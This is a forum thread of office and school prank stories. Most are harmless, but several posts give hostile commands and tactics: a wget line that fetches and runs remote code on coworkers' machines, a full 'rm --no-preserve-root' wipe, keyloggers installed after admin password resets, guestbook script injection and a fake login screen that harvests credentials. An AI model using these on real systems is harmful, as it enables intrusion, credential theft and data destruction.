Best office prank: I was pretty young and naaive. Senior dev comes to me and says that it would be hilarious to slide a note under the women's bathroom door saying, "I know what you're doing in there". He says that the woman in there will think it's hilarious too. We work with her, she's very funny and laid back, so I go along with it, expecting to get a laugh. A few minutes go by and a different older women enters my cube. She's got the note! She works on the other side of the building so I don't know her too well but I can tell from the look on her face that she's pissed. I'm frozen with fear as my career flashes before my eyes.
I apologise perfusely and try to explain but she's not having it. After a while she goes back to her office not having accepted that it wasn't meant for her and that it was just a joke gone wrong. I spend the next two days apologizing every chance I get, hoping she won't go to HR. She remains stone cold until late on the second day. She couldn't take it anymore as her mouth reluctantly begins to crack a smile. At that point she drops the serious expression on her face and busts out laughing.

It turns out that the three of them planned the whole thing and executed flawlessly. I've never felt so relieved to be the butt of a joke.

Heartless

We were doing some temp work, and a girl we were working with had gone out to talk to her boyfriend on the phone.

1. Flip screen orientation 180 degress
2. Take screenshot
3. Set that as wallpaper and flip back
4. Hide icons, hide taskbar, move taskbar to far right edge
5. Invert mouse movement
6. Invert mouse buttons
7. Flip back 180 degrees, everything looks normal.

Sit back, relax and watch the show.

P.S. she gave up, we had to fix it.

Piece of shit admin installed a chrome plugin which changed the new tab to no internet default image ... The whole office was pranked

One time my co-worker put a tiny piece of tape inside the USB receiver of my mouse which apparently makes any USB device stop working. It took me a while to figure out why my damn mouse wasn't working even though everything was properly plugged in and it had new batteries.

When I found the tiny piece of tape I was instantly knew who it was and it was pretty funny.

one time while my colleague was away from his computer, I changed every system sound to a loud, elongated moan.

Best prank I did to a office must be that one I did when I was 7 years old:

> Sat at a schoolcomputer and explored stuff
> Found alot of network printers
> Found one called "city hall front desk"
> Created a word-document with the biggest font possible
> Wrote "Dick"
> 2000 pages of the word "dick"
> Print 2000 copies

> Did the same to a kindergarten and a "rival school"
> Never got caught because I used my teachers novell account ( the password was his name)

I miss novell

Fake windows update + f11 = colleague complains all day!

The marketing department is right next door to my office, and to make room for their new intern, a very high end, large, and noisy printer was 'temporarily' placed in my office. I'm a reasonable person though, and didn't mind this. The salespeople figured out that it makes commercial grade printouts, so for their various presentations and whatnot, they'll print enormous numbers of pages on this thing, and basically use my office as a motherfucking water-cooler. After a few weeks of this, I logged into the printer from my computer, and set it to disallow all connections from MAC addresses other than those in the marketing department, who print far less material on their own, special, dedicated printer. Absolute fucking chaos ensued. Grown men were brought to tears, ultimatums were made, and blood was shed. The hardware guys were down here for over an hour, making up absolute bullshit as to why it wasn't working(which really surprised me).

Long story short, cut off access to printer, sit back and watch the true face of humanity emerge. Seriously, fuck those guys. They have their own goddamn printer.

I deleted a production folder for a laugh. 😂

The best prank played in our office was an AutoHotkey script that changed the space character to actually print the word 'space' in all caps.

The next message in Hipchat from the victim was: "WhatSPACEtheSPACEfuck!SPACEMySPACEkeyboardSPACEisntSPACEworking!"

The next time this prank was pulled, ALL symbols were typed out in all caps.

There is this salesman right across from me that always brags about how rich his parents are and how lucky us tech guys are for having such an easy job. He told me one day that he was going to quit and make his own software company currently having no developing experience at all because "I've seen some of these developers. If those guys can do it, it'll be a breeze." I convinced him that the best language to learn in order to make your own websites/apps is Linux command line. Hilariously enough, the other 2 devs heard me say that and when Glenn the sales douche followed up with them one of them told him "Yeah, If you think you're really going to be quick with it then Linux will be your best bet, but if you have trouble just learn C++ instead and you'll still be able to make websites." Best of luck on your new Venture, you spoiled jizz stain.

Once I forgot to break a loop that was supposed to send 100 email to a colleague in the middle of the night.

She did not get 100 emails, she got alot more

I made a program that replaces every ; he writes with a greek question mark ;

I left my MacBook unlocked and got 'alias git=exit' in my shell config. It was evil!

I was 15 years old and the first year of high school. Everything was new to me and I was such a newbie. At that time I had 2-3 year of programming behind me at an institution where they taught competitive programming. And I knew something about computers. Not much but more than most of my school mates. At that time I wanted to become "super cool hacker".

So we had this very very thought teacher for history which was also our form master. She really knows how to explained everything about history and in an interesting way. But while she was teaching we also had to write down notes from her powerpoints that were on a projector. And occasionally she would wait for us to copy everything and then move on with her lecture. But sometimes she didn't. This was frustrating as hell. The whole class would complain about this because you couldn't take notes down normal, you had to do it at double speed.

But she got one weak spot. She was not very good with computers. Our school computers were locked in some kinda closet so that students didn't have physical access to a computer and were also password protected. So I came up with the plan to plant wireless mouse in her computer so that I could control her mouse. At that time it seemed like SUPER HACKER MASTER PLAN.

So I got an opportunity one time when she left the classroom and let closet where the computer was open. I quickly sneaked the USB of the wireless mouse in the computer and then go back to the seat.

So THE FUN began.

Firstly I would only go back in powerpoint so that all my schoolmates could write down notes including me. And it was hilarious to watch when she didn't know what is happening. So then I would move her mouse when she tried to close some window. I would just move it slightly so she wouldn't notice that somebody else is controlling mouse. And by missing X button just by slight she would click other things and other things would pop up and now she had to close this thing so it became a nightmare for her. And she would become angry at the mouse and start complaining how the computer doesn't work and that mouse doesn't obey her.

One time when she didn't pay attention to her computer and projector I went to paint program and drew a heart and wrote we love you (In Slovenian Imamo vas radi -> See the picture below) and one of my school mates has the picture of it. We were all giggling and she didn't know what is was for. And I managed to close everything before she even noticed.

So it got to the point where she couldn't hand it more so she called our school IT guy so that he would check her computer (2 or 3 weeks passed before she called IT guy). And he didn't find anything. He was really crappy IT guy in general. So one week passed by and I still had messed with her mouse. So she got a replacement computer. Who would guessed all the problems went away (because I didn't have another mouse like that). I guess when our IT guy took the computer to his room and really thoroughly check it he found my USB.

So he told her what was the problem she was so pissed off really I didn't see her pissed off so much in all my 4 years in high school. She demanded the apology from whom did it. And at that moment my mind went through all possible scenarios... And the most likely one was that I was going to be expelled... And I didn't have the balls to say that I did it and I was too afraid... Thanks to God nobody from my school mates didn't tell that it was me.

While she waited that somebody would come forward there was one moment when our looks met and at that moment both of us knew that I was the one that did it.

Next day the whole class wrote the apology letter and she accepted it. But for the rest of 4 years whenever was there a problem with the computer I had to fixed it and she didn't trust anybody not even our IT guy at school. It was our unwritten contract that I would repair her computer to pay off my sin that I did. And she once even trusted me with her personal laptop.

So to end this story I have really high respect for her because she is a great teacher and great persons that guide me through my teen years. And we stayed in contact.

alias vi="echo vi: could not open file "

One time I wanted to use my mouse and it didn't work, the light was on and everything seemed normal, I flipped it upside down and I found a troll face sticker on the laser led ...

Many, many years ago, Apple had this software you could install which allowed you to take full control of someone else's machine. Well, my mate who was a designer worked in a different office downstairs. I was often in their fixing stupid shit problems. While he was out on lunch, i installed and configured the software on his mac. After lunch I went back upstairs and watched his every move on my mac. He was in adobe inDesign creating some design for a brochure. He was in a text box changing the heading, i seized the opportunity and took control typing in the text box "i am a useless cunt", pissing myself, I then selected the text and increased the size and made it bold... then the phone rang.

Two of my colleagues have same wireless kit type (kb and mouse). I swapped only their keyboards.

Best prank on me: Airborne under my chair rigged to go off when I sit.

Best prank I pulled: Recorded my laugh and assigned it as everyone's office ringtone. I still have co-workers check their phone when I laugh.

At my previous job we had the rule to lock your PC when you leave. Makes sense of course.
We were not programmers but application engineers, still, we worked with sensitive data.

One colleague always claimed to be the most intelligent and always demanded the "senior" - title. Which he obviously did not deserve.

multiple times a day forgot to lock his workstation and we had to do it for him.
My last week working there, I've had it. He forgot it again... So I made a screenshot of his current environment. Closed everything. Set his new background with the screen shot and killed explorer (windows). Then finally I locked his PC.

When he came back he panicked that his PC froze. He couldn't do shit anymore. Not knowing what to do... 😂
Which makes him a senior of course.

But seriously, first thing I would do is open the task manager and notice that explorer wasn't running... Thus my background with the taskbar isn't real.... My colleagues must be pranking me!

Nope... The "senior" knew little

While our co-worker was on vacation. We installed Win 95 on a usb stick and hid the stick inside his desktop case.

It was not an easy task to get it working on a modern hardware but it was worth it to see his face when that glorious Win 95 booted up instead of Gentoo.

I worked at a place where the help desk guys did the good ol' "I'll send an email from your laptop if you walk away without locking it and tell everyone lunch is on you" routine. After it happened to me about 3 times I was like, "I gotta get this help desk prick back!" So after several failed attempts at walking by his pc when he walked away it instantly hit me how I can punk him back.....SO, I logged onto SQL Server, clicked open a new query window and typed up a dbmail command and on the @from parameter I set it to the help desk guy's email address. His face was PRICELESS when I was shooting off emails to the entire IT dept on behalf of him WHILE he was sitting in front of his PC. Lesson is: don't fuck with dev help desk dude! 😎😜

I think the best I saw was a co-worker scripted a file so that every time the manager typed the computer would play painful screaming sounds and then thank her when she stopped typing.

So we had this girl working with us as a graphic designer, she has a great sense of humor and pretty much impossible to piss her off

So April 1st is considered "a fool's day" here, on March 31 i sent an official looking email to everyone ( minus the seniors ) in our office saying how she's kinda shy about having her birthday on April 1st and everyone should wish her so she wouldn't feel awkward about it

Needless to say her actual birthday is not in April

So when she came to office on 1st, everyone started wishing her and singing Happy Birthday, she spent whole day explaining to everyone that came to wish

It was awkward as hell and pretty hilarious 😂😂

I replaced my friends CMD shortcut with this target:
CMD.exe /k rickroll.bat & cls
The file rickroll.bat contains a script that launches VLC in the background on loop playing Rick Astley - Never Gonna Give You Up at a very low volume. Every now and then it increases the volume.
So original, I know....

For April Fools at a school I worked for, I printed off one of those "Your printer has been upgraded to be voice activated" signs and put it on their fairly new printer, went into the room opposite and waited. I heard far far too many teachers saying "Copy!" repeatedly, getting more and more agitated before 'manually' copying their document. I had to come clean before I left at lunch time because one of the teachers got quite angry at the prospect of a voice activated photocopier and refused to use it that way. The following year April Fools was on a school holiday so I couldn't pull it in the school I was in that day but i fully expect it to work somewhere else.

It was fun to watch my entire high school (~1200 people) freak out when I ran "net send * Big brother is watching you..." on what I found to be an insecure computer in my high school's library. Every single computer in the building displayed the pop up message. The town's IT director even showed up to figure out what happened.

I was caught, but they were more happy it wasn't a hacker, and that I discovered that the IT firm the town hired totally botched properly implementing network security, so I was let off the hook.

"caps lock"

There is a group of ladies who work in the accounting department at my job who have made it their mission to decorate the cubicle of whoever has a birthday on a given day. They come in at 6 am on someones birthday and decorate, leaving a mess of balloons and streamers, which is a nice surprise the first time it happens (they do it every year). Well, we in the IT office decided it would be fun to booby trap one of our cubicles so that when our birthday rolled in, they would receive a surprise of their own. So we set up a webcam as a motion detector, and had the computer speakers turned up as loud as possible, so that when motion was detected, the honorable Admiral Akbar would yell "It's A Trap!". We succeeded in scaring the pants off of them, and also annoying them because the sound did not stop until the program was exited, so they had to listen to it the entire time they did their setup. It was priceless xD

Done to me...

I printed a cockroach in a sheet of paper and put it back on the printer.

we had a spare box full of packaging pellets, and an unlocked desk :)

A coworker was listening to a Stephen King audio book through headphones on his Mac, so I ssh'd in and used the `say` command to start talking to him.

I love admin rights.

CEO once thought it would be hilarious to give everyone Christmas bonuses in the form of little brown paper bags filled with fifteen hundred $1 bills.

Was a little awkward trying to deposit. 👯‍♂️

The man who runs my IT department. The man who is in charge of all things and people that are technical: IT management software development, infrastructure, training, help desk, system administration​, etc. A man with a staff of fifty plus. If you were to peel back the flesh on this man's head and crack open his skull you would find dung beetles feasting on the feces that power his thoughts and motor functions. Underneath this foul membrane, if you could push past the maggots; the meal worms; his undying love for hourly binges of Johnny Walker Black on any day of the week with a name that contains a vowel; his fascination with shiny objects and his endless internal monologue wondering when they would hatch rainbow ponies that fly; his desire whenever he enters a paint store to open all the cans of paint and taste the different colors; if you could push past all of the vile crap that exists where Thomas Aquinas once theorized there was a soul, you would find a colony of paramecia at the end of their short lives laughing hysterically at how much smarter they were than the host they lived in.

This man was in charge of hiring the Manager of Software Development. The manager I report to. After seven months of ignoring this chore; after interviewing the sum total of four candidates; after making a point to tell myself and a colleague that there was no one qualified to fill this position within our company (an opinion that is both untrue and, when spoken, runs afoul of internal hiring policies) this man hired a soulless cretin with no experience in software development or with running a software development group. A man who regularly confuses web servers and SQL servers. A man who asked me how my previous manager reviewed my work, was told by me that said previous manager read my code, and then replied in his capacity as the manager of software development that "looking at code is a compete waste of time for a manager." A man so without any humanity or reason for being that he will sit silently, creepily, in conference rooms with the lights off waiting for meetings to begin. Meetings he has scheduled. That have no reason for being in the first place. Just like himself.

Shortly before the man in charge offered the Dev Manager job to the simulacrum of human flesh that is my manager, he met with me and others who had been involved in the interview process. When I informed him that hiring someone with no technical knowledge for a very technical position would be a mistake that he would suffer through for years, he replied in reference to his future hire that "his managerial experience makes up for his lack of technical knowledge."

Best. Prank. Ever. Worst prank ever too. Fuck.

My classmate was debugging c++ code when he stepped out for a while. We deleted a closing bracket.

He is rewrote the code from cratch

My office pranks always involve this life sized doll, hidden around the office...

I made a hotkey script for a colleague that made the backspace act like a left arrow. You should've seen his face when he saw the cursor moving back but not removing characters.

set this as screen saver.... poor guy

shutdown -s -t 1925000 -c “System error: overloaded porn folder”

The best prank I ever pulled was on one of my IT teachers.
In 2011, I had an intense OOP JS training and whil ...[read more]

I do not have any such experiences but I am here to get ideas 😈

Part of the new hire process was all salaried employees had to work all hourly position jobs for a day (over a several week period, not all in one day) to really understand what we do.

I once hazed a new network admin who was working in the call center and I sent his station a pop-up message:
“Ha! Fire me will you!! I planted this virus and if you don’t enter the password in 60 seconds I will erase the database.” The pop-up had a counter counting down from 60.

This was over the lunch hour, so all the supervisors and managers were away and ‘Mark’ in a panic ran into our office (I was hiding under my desk)

Mark: GUYS!!...GUYS!!!....OMG!….Where the frack is everybody?!!!”

He runs out.

I peek out the door window and about a second later he’s running down the hall with one of the vice presidents. Mark shows the VP the message, VP looks over at our office, sees me…laughs and walks back to his office (not saying much to Mark).

Mark not knowing what’s going on watches the counter…3...2…1….
”Just kidding. Welcome to the company!”

Ahhh…the repeated sounds of “You son of a -bleep-!!” never sounded so sweet.

Well one time, it was very awkaward.

My colleague went to lunch, and he was working on some website for international client.

So he left his mac unlocked, and as soon as I saw that I thought i would be cool to add click listener on body of page, and on click it opens up 100 tabs of porn. And I did that.

Before he returned from lunch, client called my boss, with wtf is happeneing with his site, and that it is constantly opening up porn.

What i didnt realize that before colleague went to lunch he contacted client to see some progress. And suprisingly I didnt know that his editor atom was automatically set up to upload website on save to dev server that client is currently looking.

We ofcourse told client it was the hackers :)

But boss wasnt that stupid.

Instant karma.

When I was in college, I had some serious knob-heads in my class. They kept on asking where they could download free movies.

So I made a .bat file called "free movies". It had a nice icon and everything. And placed it on their desktops.

What did it do?

Kept spawning message boxes that read "do some math bitch" and opening new instances of the calculator.

It was too brilliant to see people watch their computers crash, and might I add, crash slowly, because these computers had tons of ram.

Never click on "free movies" kids.

If found a Website with a nice Guestbook. Funny thing: HTML-Code and JavaScript-Code in the message was not getting escaped. So I wrote a little JS-Script wich alerts “Nope“ and the then redirects to pornhub.com after page load.

After about 2 WEEKS of funny redirecting, they updated their site and HTML-Code is now getting escaped.

I had this prepared in advance and executed on April 1st few years ago.

1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.

Man, that was hilarious.

Replaced all semi colons with the Greek question mark.
i watched him as he spent over 3½ hours trying to debug it.

We had a Christmas Party in our office in December and the office looked fairly trashed in the morning.
I took a photo of a colleagues desk and photoshopped burn marks on it, sending it to our group WhatsApp saying the bosses are furious and whatever they did after I left has left the guys in so much trouble.

It was a horrendous photoshop too, because I had nothing but PowerPoint to use - but everyone still believed it.

Most of the guys had booked that day off to deal with hangovers so it wasn't till the Monday that they realised it wasn't real!

There was this site to get prank software, one of them made the start button run away when the mouse gets near (Windows XP). Watched the IT teacher chase it around for about 5 min before he called the lab assistant to fix it

Not an office prank, but still makes me laugh..

When my oldest daughter was about 8 months, she loved slapping the keyboard on my wife's laptop. More times than I can count with my hands I received a phone call from her asking how to rotate the screen back from upside-down.

Pwned by a baby

Back the mid 90s at secondary school, a friend came back from holiday with a Casio CMD-40 TV remote control watch. It was like magic, no one had never seen anything like it before.

We pranked our history teacher so badly, changing the channels, volume and turning the TV off while we were supposed to be watching some video on Henry VIII or something (no idea, too busy PMSL).

We'd pass the watch round the class to keep em guessing.

In the end, school replaced ALL the TVs and were seriously pissed off, to this day I believe they had no idea it was us!

Installing "Hannah Montana Linux" on a co-worker's pc after they left it unlocked and went home for the weekend.

Switch colleagues wireless mouses. The more colleagues, the funnier it gets :)

Pranked the people working in my office by including fartscroll.js which (you guessed it) plays fart sounds on our website, internally.
It was amazing hearing random farts in the office when people have their sound maximum and don't know where it is coming from!

Installed Linux on all computers in office (Windows before)

My friend left their macbook unlocked, so we parsed the entire story of Moby Dick into the text to speech and left it in the background on full volume. Never seen such a confused face in my life.

Not an office prank, but when I was in high school we had some public computers and I switched some shortcuts for chrome and internet explorer, so when you clicked chrome, something that should not be called a browser would open.
And than I got the brilliant idea: I wrote a script camuflagged as a chrome icon that would launch 100 internet explorers. Legend says that people are still raging to this day.

Somehow wk37: At my workplace you get "caked" if you don't lock your computer. Which actually means that its very likely that someone will write in company wide chat that you will bring cake tomorrow. :)

Sent a corrupt .rar file to a client's nephew/cousin to upload on their server (he managed the hosting account) in a bid to buy myself some time to finish the project. It worked! I was given the login details to upload the work myself the next morning. They didn't understand Git.

A few years ago, we had a developer who would come in early and leave by four almost every day. I can't remember how exactly it started, but we would put up a picture of a different dragon on his cube wall almost every night.

He was a pretty laid back/passive guy, so we took bets on how many pictures there would be on his walls before he took one down.

3 dragon figurines on his cube walls and 11 full color pages later, we had a winner.

Best wishes from the team.

A colleague once changed the double click timing in the mouse settings to the lowest. This made double click impossible.

Took some time to figure out, and way more to solve without double click :/

We have this Lukas Podolski paper display someone swiped at a soccer club store. So we hide the fucker in offices, bathroom stalls or behind doors and people get scared shitless.

Easy: Switching the apple magic mouses around the office, then enjoy the caos.

I put a sticker under the optical mouse on one of my team mates then he started to rage when his mouse is not working. Then he started calling technical support and they, too, didnt know what cause the mouse to not working. I wanted to laugh so hard, but I must resist. Ahaaha xD

In highschool we pasted a shutdown batch script in someone's startup folder. Never seen someone more confused than when his pc force shutdown every time he restarted. All fun and giggles until system admin walked in

I told everyone that the next day is off. Everyone took it seriously and nobody showed up.

One of our newly-joined junior sysadmin left a pre-production server SSH session open. Being the responsible senior (pun intended) to teach them the value of security of production (or near production, for that matter) systems, I typed in sudo rm --recursive --no-preserve-root --force / on the terminal session (I didn't hit the Enter / Return key) and left it there. The person took longer to return and the screen went to sleep. I went back to my desk and took a backup image of the machine just in case the unexpected happened.

On returning from wherever they had gone, the person hits enter / return to wake the system (they didn't even have a password-on-wake policy set up on the machine). The SSH session was stil there, the machine accepted the command and started working. This person didn't even look at the session and just navigated away elsewhere (probably to get back to work on the script they were working on).

Five minutes passes by, I get the first monitoring alert saying the server is not responding. I hoped that this person would be responsible enough to check the monitoring alerts since they had a SSH session on the machine.
Seven minutes : other dependent services on the machine start complaining that the instance is unreachable.

I assign the monitoring alert to the person of the day. They come running to me saying that they can't reach the instance but the instance is listed on the inventory list. I ask them to show me the specific terminal that ran the rm -rf command. They get the beautiful realization of the day. They freak the hell out to the point that they ask me, "Am I fired?". I reply, "You should probably ask your manager".

Lesson learnt the hard-way. I gave them a good understanding on what happened and explained the implications on what would have happened had this exact same scenario happened outside the office giving access to an outsider. I explained about why people in _our_ domain should care about security above all else.

There was a good 30+ minute downtime of the instance before I admitted that I had a backup and restored it (after the whole lecture). It wasn't critical since the environment was not user-facing and didn't have any critical data.

Since then we've been at this together - warning engineers when they leave their machines open and taking security lecture / sessions / workshops for new recruits (anyone who joins engineering).

I am jobless.😢

The picture is worth a 1000 words.

More of a college prank
We had this professor who used to send at least 3 emails to us about non sense stuff. Irritated i wrote a Python script that sent her 10000 emails everyday. The emails stopped!!

I actually think that rants about GitLab may be tagged with wk37 😂

It was a joint effort but we replaced the designer with a plant dressed in their coat.

Plugging in a second wireless keyboard into my colleague's PC and typing so he thinks his computer is talking to him.

Simple but provided hours of fun!

We were doing a project for uni in which we had to make a game in Java, we were on my department the night before working the last bits, it was working perfectly, until two hours until we had to turn it in, when I ran the code on IntelliJ it worked but the .jar file I exported didn't work and I didn't know why... I had to carry the my desktop PC I was working on because my laptop was broken at the time and we didnt have another computer on hand with IntelliJ and shit, I could swear I could see my friends laughing...
Two hours later from presenting the project I realized someone changed the file of a name from spritebatch1.png to Spritebatch1.png...
Changed it back, worked in an instant...
They were all behind me and started laughing like the best joke in the world was told...

I almost killed them all, but laughed along them afterwards...

When a colleague left their computer without logging out, I created a shortcut to internet explorer, named it Google Chrome, and changed the icon to Chrome's icon. I couldn't remove Chrome's shortcut from the desktop or modify it because I didn't have permissions, so I turned of icon snapping and dragged it off the screen. I also replaced Chrome in the task bar with my fake icon. I then set the Internet Explorer to open a bunch of useless pages when it opens, set it to the default browser, and changed the search engine to Yahoo!

In secondary school (gymnasiet in Swedish) I made a little exe that I put on the autostart on one of the public PCs. That exe made various weird behaviours for a few minutes (disabling the monitor, messing up the keyboard/mouse etc etc) before it restarted the PC. If, however, you held down a certain key combo, it would show a nice popup before quitting. So I always had a free PC to access every break cause no one wanted that PC :D

During QA for a huge project when our dev team was confident of the stability of the project, We started introducing small bugs, QA team use to raise bugs in Jira, we marked them as not reproducible.

Frustrated QA started coming to our cubes - at this point dev team worked in a perfect coordination like a man to man marking in hockey. While one dev asked QA guy to reproduce the bug in front of him while the other dev has already fixed it.

Continued for a couple of days till our team lead was satisfied with the revenge.

Classic. Duck tape on mouse laser.

Wrote a vbscript(yeah for Real) that opened the CD tray...and execute it remotely to random guys pcs

Week 37 is officially the best week ever ! Haven't seen more fun posts and ideas to play around people !

Best joke played on me, I was told to make our webapp work in IE6 and be pretty!

A couple of years ago, I filled my boss office with balloons. Probably 300 of them and the best part was he had a fobia of balloons and couldn't work all day in the office 😉

I put a nano receiver for a wireless mouse in my friend's pc when he got up to do something, then spent the next hour wiggling it periodically. Not enough to be obvious, but enough to disrupt the regular mouse movements and make it seem like the mouse was sticking. I heard him say to his friend that the computer was possessed.

The secretaries at my university had to scan documents in the masters students lab. So one day, when the lab was empty save one of our secretaries, I remote into my machine and write a text to speech app and have the computer announce "Hello Selma, you really know how to push my buttons"

It took a while, but we are friends again :D

Whenever someone leaves their computer unlocked (and if they're using Chrome/Chromium), one of us will install the Cenafy plugin. It has a 1 in 100 chance of redirecting you to a site that plays the John Cena theme any time you load a new page. Trouble is, the tune is so damn addictive I spend the rest of the day humming it.

One guy buyed a remote for his tv which moves the mouse's cursor by pointing with the remote. And inserted the usb receiver into another's guy pc: restarts, antivirus scan, nothing worked for the poor guy. His mouse was crazy.

Another "prank" that I did at my school when I was 13:

Changed the password for the admin user with "net user *" and took control over alot of PC's in my school. I used that power to install keyloggers and then got alot of passwords for popular social networks that was popular that that time.

Always fun to upload picture ultrasound picture and write something, their parents would always go crazy.

And again, never got caught

(I starting to realize that I am a real asshole)

1. take a screen shot of the desktop (wallpaper and icons)
2. take all icons and put them in a folder
3. set the screen shot as the wallpaper
4. hide the folder containing all the icons in the wallpaper
5. hide the task bar

My stupid TL was fighting for 20 min before begging me to fix my prank

When you dare play any of these wk37 pranks on me

Switch my coworker mouse with an air conditioner remote while he went to take a shit. He came back moving the remote and wondering why the cursor wasn't moving

We work in an office where we must lock our computer screens because our screens may have confidential information on them, plus you could do things as the person without taking any blame (ie sending an email).
Anyways anytime someone forgets to lock their screen we always prank them pretty hard. The greatest thing we ever did was in our latest release we had our managers buy us drinks at the pub. Well our managers left to go to the pub and one of them forgot to lock their computers. So we downloaded an image of the blue screen of death and made it full screen, unplugged his mouse and keyboard for added effect, and locked his computer. He came in the next Monday and couldn't log in because his keyboard wouldn't work. He actually called IT to bring him a new keyboard and mouse... then he unlocked his computer and freaked out with the IT guy because there was the blue screen of death. Needless to say he got a brand new computer as well as a new mouse and keyboard.

I'd call it a win win?

A coworker has just finished setting up his new linux installation after removing windows when windows 10 was released. Caught him out with fakewindowsupdate.com, he thought microsoft was forcing it.

We planted a blanket, pillow and full sized ambulatory mannequin to sleep under the desk of our software director. It was a deep desk with no visible parts showing unless you happened to look down.

After a meeting, he went into his office and sat down. About a minute later there was a very high pitched squeal and he came running out of his office to the amusement of several developers and managers outside. 😈

For our office secret Santa one year I drew the boss's name. I don't know him very well as he's a pretty unsociable person, for the first six months of my employment was introduced to clients as the web developer's "little buddy." So I really wanted to do something passive agressive.

I spent a few days trying to find the best prank gifts. I landed on a glitter bomb. I filled a balloon with glitter, puffed just enough air in it so it fit in the box, and rigged it up with an x-acto blade inside which would pop the balloon when you open the top flaps.

It worked fantastically. The balloon popped, glitter went everywhere, the entire office was laughing except the boss. It was days before the glitter started to dissipate from his beard.

Once made simple .bat file that opens itself.
Changed the icon to Internet Explorer(yea i know what you are thinking but it was like 2003 or smt.)
Victim clicks the shortcut.
BANG! Endless loop of same application eventually freezing everything.
12 years old and feeling like a damn hacker feelsgoodman.jpg.

Not sure if this is necessarily a prank, but I was working on a team that was split in 2. We had a group of senior devs in one country, and junior devs in another (god only knows why, and yes I complained about this a lot).

The "lead" of the juniors was very stubborn and refused to adhere to the official standards, as his way was better.

I was working on an app with him, I was fed up with how badly the app was working, how hard it was to find files etc. So I waited for him to be off on holidays and pulled some extra hours to completely re-do the folder structure, rip out his persistence layer and a few other things.

When he came back he lost his shit and complained to the architect. The architect (also fed up with his shit) told him that we don't have the time to invest in reverting back everything, and loosing all the new features I added on top, especially since the app is now adhering to standards.

Never felt such satisfaction in my life.

In sweden, probably in many countries, we have this chocolate calendar where u get one piece of chocolate every day til Christmas. This is usually for kids but we "younger ones" got one from a colleague as fun gift. After about half through December when I came back on Monday i realized that someone had emptied my chocolate box and had thrown it in the trash. I was devastated. So I wrote an angry email, ending with "Merry fucking shit christmas", to the whole office in order to make the guilty one feel more guilty.
As it turned out, another colleague had found an exact same box, emptied that one and replaced mine. He came crawling 2min after I sent the mail😂

net send * "your pc has been hacked"

That's what we call "conf" in school. Normally we have to lock our computer everytime we leave the table. If we don't, anybody can reach your computer and make kind little bad things to your computer :
setxkbmap ru
alias ls="reboot"
alias firefox="firefox youporn.com"
alias emacs=" ls"
Changing keyboard sensibility and many things !

Our boss doesn't have a great sense of humor so doing any prank whatsoever could easily cost my job

One time I took out a colleagues letter keys except the ones needed to spell freezer (in croatian) and left the message freezer on the keyboard, took the remaining keys, put them in a bottle which I filled with water and put them in the freezer overnight (left work the day before earlier than him).
A positive was that the keys were real clean. Negative was the rest of the keyboard was dirty :)
Was a good laugh, though.

didn't anyone go for the "#define true false" joke? i didn't actually see it in action, but it would be a pretty harsh one.

A friend of mine had made a virus that changed and renamed all of my icons to Internet Explorer. The worst part, the icons would have a 50/50 chance of being Internet Explorer or the actual application that I needed

I saw that a co-worker had left their office email open on their machine, so I typed out a huge hate mail of the upper management and then announced resignation for the poor work culture that the company provided. Then I edited the email to be a bit more nice. I added some praise about the company - about having the opportunity to work in the company and for the amazing colleagues (and mentioned my own name) in the first paragraph. To close the email, I wrote :
"PS : This is what happens if you leave your machine open for the office to do as they please"

I first sent out a copy to myself (as proof) with the cover :
" Hey, check this out, I'm sending this out to everyone@company.com in a while. I want to let you know that none of this is directed at you. You've been an amazing colleague and mentor. You've been my inspiration from the start; from the time I joined the team. I'm honoured that I got to work with you. I hope we can remain friends as we are now, meet up once in a while outside work and discuss life. "

And then I put the actual email up in the compose window with the to field addressed to everyone@company.com. I didn't hit send.

Funnily, enough, this person never found out that it was me who actually typed out the whole email for another 1.5 months. They probably looked into their Sent folder later on when they saw the email that I sent to myself. They replied to it saying :
"Thank you for not sending out that email that day. I've been very very extra careful (I didn't understand the "very, very, extra" part) since that day"
I replied that it was only to prove a point and that I thought the point was well conveyed.

I had a good laugh that day. Since then, every time we crossed paths, we had that look in our eyes that met and only the 2 of us understood.

1) Using ScreenRecord record a video deleting his work folder(fake one obviously).

2) create command line vlc player to play this video on startup with flags -f and --no-qt-fs-controller

Eg. vlc -f --no-qt-fs-controller file://<file path>

Enjoy the show 👿

Nicholas Cage-ing never gets old.

Years ago at school I recreated the UNIX logon screen. With this, I collected login credentials and then displayed a message that the dish gets formatted now. To make it more realistic I had a progress bar and generated random file access in the disk, so the LEDs flashed. Loved it and even the sysadmin could see the fun (and educational background :P)

Put soap around (not inside!) the mug of your co-workers and watch them try to pick up the cup.

Oh god, so many... I'll list my top two then, just because I can't decide which one was actually better. (:

One of my work colleagues left to go to Cape Town, so we filled his Corsa sedan with helium balloons and wrapped his car with clingwrap. :D The good sport that he was, he still climbed in and drove forwards about 2m with all the balloons. Lol.

Then for my boss's birthday, we wrapped literally everything on and around his desk in newspaper. His phone, monitor (secondary for a laptop), his shelves, everything on the shelves, etc. Took him a few hours before he could get back to work stuff after that, and some things still stayed wrapped for a few months... If I can find the photos from this I'll share them.

Ah, we have so much fun here... Hehe.

A guy I used to work with shit himself. It soaked through his jeans and into his seat before doing something about it. He then carried the seat over another colleagues head and left the office. It was hilarious. Though I don't think it was a prank, I think he had an upset stomach

I have this guy at work who does pranks constantly, mostly towards his supervisor. Some of his more memorable ones:

- Placed a ballon at the wall behind the door + stuck a needle to the door in his supervisors office
- Hid a small speaker playing "happy birthday" nonstop inside the roof of his office
- Placed a box full of golf balls in our site manager's mail shelf, carved a hole in the box and waited.
- Threw an orange (yes, actual orange) at his supervisor, and hit him in the throat. Entertaining for everyone but them.

I was placed at the company I work at 9 years ago and it was a college recruitment. Due to the recession in 2007,and its effects in 2008,although I graduated in 2008,my company called me only in 2009,roughly after an year of passing out. I really needed the job. After joining the firm,we were all inducted and had our official ID's and email accounts created. There was a mentor to me,who sat right across.
I was naive and had left for lunch without locking my system,only to come back and see the horror:

"Your resignation has been submitted" in bold ,as a wallpaper.
I was shocked and had lot of things in my head because earlier that week some firms had given "pink slips" and it was all over the news.
Finally,my mentor told me he did it for fun. Have never left my system unlocked ever since!

